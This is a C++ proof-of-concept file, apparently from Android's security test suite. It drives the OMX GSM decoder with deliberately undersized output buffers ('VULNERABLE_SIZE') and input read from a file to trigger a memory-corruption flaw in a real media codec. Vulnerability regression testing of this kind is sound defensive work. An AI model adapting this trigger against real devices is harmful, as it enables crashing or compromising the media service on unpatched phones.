/** * Copyright (C) 2020 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "../includes/common.h" #include // This PoC is only for 32-bit builds #if _32_BIT #include "../includes/omxUtils.h" #include "hidlmemory/mapping.h" #include #define FILE_SIZE UINT16_MAX + 1 #define INPUT_BUFFER_SIZE 16380 #define NUMBER_OF_BUFFERS 4 #define VULNERABLE_SIZE 4 #define SLEEP_TIME_IN_SECONDS 1 #define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30 extern int numCallbackEmptyBufferDone; sp mAllocator = IAllocator::getService("ashmem"); int allocateHidlPortBuffers(OMX_U32 portIndex, Vector *buffers, int BufferSize) { buffers->clear(); OMX_PARAM_PORTDEFINITIONTYPE def; int err = omxUtilsGetParameter(portIndex, &def); omxExitOnError(err); for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) { Buffer buffer; buffer.mFlags = 0; bool success; auto transStatus = mAllocator->allocate( BufferSize, [&success, &buffer](bool s, hidl_memory const &m) { success = s; buffer.mHidlMemory = m; }); omxExitOnError(!transStatus.isOk()); omxExitOnError(!success); buffers->push(buffer); } return OK; } #endif /* _32_BIT */ int main(int argc, char *argv[]) { (void)argc; (void)argv; // This PoC is only for 32-bit builds #if _32_BIT if (argc != 2) { return EXIT_FAILURE; } std::ifstream file(argv[1], std::ifstream::binary); long size = FILE_SIZE; uint8_t *buffer = new uint8_t[size]; if (!buffer) { file.close(); return EXIT_FAILURE; } file.read((char *)buffer, size); /* Initialize OMX for the specified codec */ status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder"); omxExitOnError(ret); /* Set OMX input port parameters */ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc( sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); if (!params) { file.close(); delete[] buffer; return EXIT_FAILURE; } params->nPortIndex = OMX_UTILS_IP_PORT; params->nBufferSize = INPUT_BUFFER_SIZE; params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS; omxUtilsSetParameter(OMX_UTILS_IP_PORT, params); memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); omxUtilsGetParameter(OMX_UTILS_IP_PORT, params); /* Prepare input port buffers */ int inMemSize = params->nBufferCountActual * params->nBufferSize; int inBufferCnt = params->nBufferCountActual; int inBufferSize = inMemSize / inBufferCnt; IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt]; /* Set OMX output port parameters */ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params); params->nPortIndex = OMX_UTILS_OP_PORT; params->nBufferSize = VULNERABLE_SIZE; params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS; omxUtilsSetParameter(OMX_UTILS_OP_PORT, params); memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); omxUtilsGetParameter(OMX_UTILS_OP_PORT, params); /* Prepare output port buffers */ int outBufferCnt = params->nBufferCountActual; int outBufferSize = VULNERABLE_SIZE; IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt]; Vector inputBuffers; Vector outputBuffers; /* Register input buffers with OMX component */ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize); for (int i = 0; i < inBufferCnt; ++i) { inBufferId[i] = inputBuffers[i].mID; sp mem = mapMemory(inputBuffers[i].mHidlMemory); memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i), INPUT_BUFFER_SIZE); omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]); } /* Register output buffers with OMX component */ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize); for (int i = 0; i < outBufferCnt; ++i) { outBufferId[i] = outputBuffers[i].mID; omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]); } /* Do OMX State change to Idle */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle); /* Do OMX State change to Executing */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting); for (int i = 0; i < inBufferCnt; ++i) { OMXBuffer omxBuf(0, inBufferSize); omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1); } for (int i = 0; i < outBufferCnt; ++i) { OMXBuffer omxBuf(0, outBufferSize); omxUtilsFillBuffer(outBufferId[i], omxBuf, -1); } /* Do OMX State change to Idle */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle); time_t currentTime = time(NULL); time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC; while (currentTime < endTime) { sleep(SLEEP_TIME_IN_SECONDS); if (numCallbackEmptyBufferDone == inBufferCnt) { break; } currentTime = time(NULL); } if (numCallbackEmptyBufferDone != inBufferCnt) { free(params); file.close(); delete[] buffer; return EXIT_FAILURE; } /* Free input and output buffers */ for (int i = 0; i < inBufferCnt; ++i) { omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]); } for (int i = 0; i < outBufferCnt; ++i) { omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]); } /* Free OMX resources */ omxUtilsFreeNode(); free(params); file.close(); delete[] buffer; #endif /* _32_BIT */ return EXIT_SUCCESS; }